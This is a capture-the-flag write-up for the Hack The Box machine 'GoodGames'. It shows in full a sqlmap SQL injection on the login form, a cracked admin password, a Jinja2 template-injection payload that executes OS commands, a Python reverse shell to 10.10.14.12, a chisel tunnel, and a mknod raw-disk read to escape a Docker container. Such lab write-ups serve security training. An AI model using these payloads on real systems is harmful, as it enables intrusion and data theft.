HTB-GoodGames
- There is an SQL Injection in the
/login
endpoint - After retrieving the database content, cracking the admin hash and logging in as the admin, a new subdomain is revealed
- The subdomain has a Server Side Template Injection, so you can get a shell
- You now have the user flag
- The home folder is mounted in the Docker, so you can write the
authorized_keys
file and connect as the user to the host through the Docker network - You can use a
mknod
privilege escalation to be able to read the raw/dev/sda
and grep for the flag - You now have the root flag
nmap
As always, we start with nmap
to scan the box:
➜ nmap -sC -sV goodgames.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-19 13:11 GMT
Nmap scan report for goodgames.htb (10.129.226.183)
Host is up (0.048s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.48
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.52 seconds
Port 80
is open. Taking a look at it, shows a basic gaming website with some articles and images. Let’s enumerate some things.
gobuster
✗ gobuster dir --exclude-length 9265 -k -u http://goodgames.htb/ -s 200,204,301,302,307 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://goodgames.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] Exclude Length: 9265
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/11/19 13:13:31 Starting gobuster in directory enumeration mode
===============================================================
/blog (Status: 200) [Size: 44212]
/forgot-password (Status: 200) [Size: 32744]
/login (Status: 200) [Size: 9294]
/logout (Status: 302) [Size: 208] [--> http://goodgames.htb/]
/profile (Status: 200) [Size: 9267]
/server-status (Status: 403) [Size: 278]
/signup (Status: 200) [Size: 33387]
The gobuster
1 shows that there are some API endpoints, but none of them were actually hidden so it didn’t reveal any new information.
SQL injection
After looking around at some endpoints and see if there was some actual important information being sent, I decided to start running sqlmap
because I was out of ideas. An easy way of doing this is by copy-pasting the HTTP request from Burp into request.txt
and run sqlmap -r request.txt
. I first started testing the signup and and forgot password endpoint because I was already logged in, but after failing I remembered the following popup:
This one is also an endpoint, the /login
endpoint. SQLMap found the following:
[13:35:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[13:36:07] [INFO] POST parameter 'email' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
Unfortunately, SQLMap only found a time-based blind SQL injection the first time. Running it a second time (when I already had user), it revealed that there was also just a boolean-based injection possible which is much faster to exploit. This has probably cost me a first-blood since I waited for like 30 minutes to complete the whole dumping of the user table:
➜ sqlmap -r request.txt -D main --tables
___
__H__
___ ___[']_____ ___ ___ {1.5.9#stable}
|_ -| . [.] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:41:17 /2021-11-19/
[13:41:17] [INFO] parsing HTTP request from 'request.txt'
[13:41:18] [INFO] resuming back-end DBMS 'mysql'
[13:41:18] [INFO] testing connection to the target URL
got a refresh intent (redirect like response common to login pages) to '/profile'. Do you want to apply it from now on? [Y/n] n
you have not declared cookie(s), while server wants to set its own ('session=eyJfZnJlc2g...35WJubrPaM'). Do you want to use those [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=asdf@asdf.com' AND (SELECT 5175 FROM (SELECT(SLEEP(5)))OVKm) AND 'UVZY'='UVZY&password=asdf
---
[13:41:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:41:19] [INFO] fetching tables for database: 'main'
[13:41:19] [INFO] fetching number of tables for database 'main'
[13:41:19] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[13:41:23] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[13:41:40] [INFO] adjusting time delay to 2 seconds due to good response times
3
[13:41:40] [INFO] retrieved: blog
[13:42:11] [INFO] retrieved: blog_comments
[13:43:29] [INFO] retrieved: user
Database: main
[3 tables]
+---------------+
| user |
| blog |
| blog_comments |
+---------------+
Dumping the content of the user
table (this part took about 30 minutes):
Database: main
Table: user
[1 entry]
+----+-------+---------------------+----------------------------------+
| id | name | email | password |
+----+-------+---------------------+----------------------------------+
| 1 | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+-------+---------------------+----------------------------------+
hashid
revealed that it is probably just a MD5 hash, so cracking it with rockyou.txt resulted in the following:
➜ hashcat --show -m 0 hash.txt /usr/share/wordlists/rockyou.txt
2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator
Now we can authenticate with admin@goodgames.htb
and password superadministrator
. The taskbar now had a new icon:
This revealed a new subdomain http://internal-administration.goodgames.htb/
with the following page (add the internal-administration.goodgames.htb
to your /etc/hosts
file in your VM):
Here the credentials admin:superadministrator
worked.
SSTI
There is not a lot to interact with on this webpage and we know from the nmap scan that this page is hosted using Werkzeug, so it has a high chance of being a Flask website. And therefore it also has a high chance of having a SSTI vulnerability. It is possible to change your username in the settings page. So I decided to set my username to {{7*'7'}}
to see if it has an SSTI:
Since the username is now 7777777
instead of {{7*'7'}}
, we now have code execution. So we can change our username to something more useful:2
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
In Burp we modify the following request
POST /settings HTTP/1.1
Host: internal-administration.goodgames.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://internal-administration.goodgames.htb
DNT: 1
Connection: close
Referer: http://internal-administration.goodgames.htb/settings
Cookie: session=.eJwtjj2uAjEQg--SmiKTmU0yXGY1vwIhgbQLFeLuL8UrXNiyre9b9jzivJXr-_jEpex3L9cCGAzuPXWrFr05ANQZIyCFpDN7pixVMs9pLJxhNITIxdG7gdcqWrOrs3Hk5qyESjLYrFOtuIHOAGENAFJrrDbXFaVxH2WBfM44_mmWtfPI_f16xHMFiIHScDXDk9Zq2JSQwGiyALSNBq1tVn5_dbxCzg.YZtiUA.V3w_G7Kzenv9ahJqUfqJqWskcD8
Upgrade-Insecure-Requests: 1
name=%7B%7B7*%277%27%7D%7D
to the more useful payload (including the Python 3 #2
reverse shell from revshells.com as the input GET parameter)
POST /settings?input=python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.12",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")' HTTP/1.1
Host: internal-administration.goodgames.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 206
Origin: http://internal-administration.goodgames.htb
DNT: 1
Connection: close
Referer: http://internal-administration.goodgames.htb/settings
Cookie: session=.eJwtzjtuAzEMBNC7qE5BWhQl-jILfpEgQALs2lWQu1sBUrAYFjPvpx115vXe7o_zmW_t-Ih2b9hTMILLBnjyLRARVs7EUlIWiSrdB-RRy0Wl0mkqUWj0YMcAUINiC3HJGiFG3UinuDMB9IG2ElUsEcn8JuZrV1G58Gwb8rzy_Nfs6NdZx-P7M7_2YyPYZIHsTVkTdUh2mKw0AKf_cWEMofb7AlDqQNQ.YZewxw.eLQVvbBAIydhUNNwfeRe_JXuVIc
Upgrade-Insecure-Requests: 1
name={%25+for+x+in+().__class__.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%25endif%25}{%25endfor%25}
Also opening a nc
listener gives me the shell and also the flag:
➜ nc -lnvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.228.108.
Ncat: Connection from 10.129.228.108:37388.
# ls -al
ls -al
total 28
drwxr-xr-x 1 root root 4096 Nov 5 15:23 .
drwxr-xr-x 1 root root 4096 Nov 5 15:23 ..
-rw-r--r-- 1 root root 122 Nov 3 10:07 Dockerfile
drwxr-xr-x 1 root root 4096 Nov 3 17:37 project
-rw-r--r-- 1 root root 208 Nov 3 10:07 requirements.txt
# cd /home/augustus
cd /home/augustus
# ls -al
ls -al
total 24
drwxr-xr-x 2 1000 1000 4096 Nov 3 10:16 .
drwxr-xr-x 1 root root 4096 Nov 5 15:23 ..
lrwxrwxrwx 1 root root 9 Nov 3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 11:16 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 11:16 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 11:16 .profile
-rw-r----- 1 root 1000 32 Nov 3 10:13 user.txt
# cat user.txt
cat user.txt
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
root
Running linpeas revealed the following interesting information:
╔══════════╣ Container & breakout enumeration
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout
═╣ Container ID ................... 3a453ab39d3d═╣ Container Full ID .............. 3a453ab39d3df444e9b33e4c1d9f2071827b3b7b20a8d3357b7754a84b06685f
═╣ Vulnerable to CVE-2019-5021 .. No
╔══════════╣ Interesting Files Mounted
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/BMOEKLXDA4EFIXZ4O4AP7LYEVQ:/var/lib/docker/overlay2/l/E365MWZN2IXKTIAKIBBWWUOADT:/var/lib/docker/overlay2/l/ZN44ERHF3TPZW7GPHTZDOBQAD5:/var/lib/docker/overlay2/l/BMI22QFRJIUAWSWNAECLQ35DQS:/var/lib/docker/overlay2/l/6KXJS2GP5OWZY2WMA64DMEN37D:/var/lib/docker/overlay2/l/FE6JM56VMBUSHKLHKZN4M7BBF7:/var/lib/docker/overlay2/l/MSWSF5XCNMHEUPP5YFFRZSUOOO:/var/lib/docker/overlay2/l/3VLCE4GRHDQSBFCRABM7ZL2II6:/var/lib/docker/overlay2/l/G4RUINBGG77H7HZT5VA3U3QNM3:/var/lib/docker/overlay2/l/3UIIMRKYCPEGS4LCPXEJLYRETY:/var/lib/docker/overlay2/l/U54SKFNVA3CXQLYRADDSJ7NRPN:/var/lib/docker/overlay2/l/UIMFGMQODUTR2562B2YJIOUNHL:/var/lib/docker/overlay2/l/HEPVGMWCYIV7JX7KCI6WZ4QYV5,upperdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/diff,workdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /sys/firmware type tmpfs (ro,relatime)
╔══════════╣ Unexpected in root
/backend
/.dockerenv
From this it is clear that we are in a Docker container where some directories from the host are mounted into the Docker container, especially /home/augustus
. From playing some HTB Battlegrounds, I knew that it is an easy win to write the authorized_keys
file to a home directory to SSH as that user. This could also be the case with this box, but the initial nmap revealed that no SSH port was open. However, we are now inside the Docker container so we have access to the Docker network. /etc/hosts
revealed the following:
# cat /etc/hosts
cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.2 3a453ab39d3d
So this container has the 172.19.0.2
IP in the Docker container. Therefore we may assume that the host is at 172.19.0.1
and we can try to connect to that. Because the reverse shell is pretty limited, I decided to use chisel to easily connect from my VM to the network in the Docker.
Connecting chisel
Locally (in my VM) I run the following command:
➜ chisel server -p 9999 --reverse
2021/11/22 09:40:34 server: Reverse tunnelling enabled
2021/11/22 09:40:34 server: Fingerprint jovfYSXPi4CSxJz77hafCfJDQQjnJru9QCIYAqjBCkA=
2021/11/22 09:40:34 server: Listening on http://0.0.0.0:9999
In the Docker container I wget
the chisel
binary and run it like this (10.10.14.12
is the local IP):
# ./chisel client 10.10.14.12:9999 R:socks
./chisel client 10.10.14.12:9999 R:socks
2021/11/22 09:41:59 client: Connecting to ws://10.10.14.12:9999
2021/11/22 09:41:59 client: Connected (Latency 44.860751ms)
And I create the following file in my VM:
➜ cat proxychains.conf
[ProxyList]
socks5 127.0.0.1 1080
Now I am able to use proxychains4
to run any command within the network of the Docker container. A quick nmap
scan revealed that port 22 was open, so we can SSH into it:
✗ proxychains4 -f proxychains.conf ssh -i id_rsa augustus@172.19.0.1
[proxychains] config file found: proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Dynamic chain ... 127.0.0.1:1080 ... 172.19.0.1:22 ... OK
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ ls -al
total 28
drwxr-xr-x 3 augustus augustus 4096 Nov 22 09:31 .
drwxr-xr-x 3 root root 4096 Oct 19 12:16 ..
lrwxrwxrwx 1 root root 9 Nov 3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus 220 Oct 19 12:16 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 12:16 .bashrc
-rw-r--r-- 1 augustus augustus 807 Oct 19 12:16 .profile
drwxr-xr-x 2 root root 4096 Nov 22 09:31 .ssh
-rw-r----- 1 root augustus 32 Nov 3 10:13 user.txt
augustus@GoodGames:~$ cat user.txt
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
Now we are again in the home folder of augustus, but now on the host.
Unintended3 path for privilege escalation
Now we have to make a decision: we can try to solve it the easy way, or we can try to solve it the difficult way. Naturally I decided to go for the difficult way.4
We have the following situation:
- Root in the Docker
- User in the host
I searched online for a privilege escalation method for this and I found the following article.
It described a way of being able to read /dev/sda
using the mknod
command. I decided to exactly reproduce the following image of the blog:5
- Get another reverse shell in docker as root (send the Burp request again with a different port)
- Run
mknod sda b 8 0
,chmod 777 sda
, add augustus andsu
to augustus to open a/bin/sh
session in the Docker:
# cd /
cd /
# mknod sda b 8 0
mknod sda b 8 0
# chmod 777 sda
chmod 777 sda
# echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# su augustus
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$
- On the host check the process ID of the
/bin/sh
shell in the Docker:
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus 1659 0.0 0.0 4292 712 ? S+ 09:48 0:00 \_ /bin/sh
augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ grep /bin/sh
- The process ID is
1659
in this case - Grep for the sda for
HTB{
through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
HTB{M0un73d_F1l3_Sy57eM5_4r3_DaNg3R0uS}
grep: memory exhausted
augustus@GoodGames:~$
And this gives both flags after a short amount of time.
All credits to: https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/
.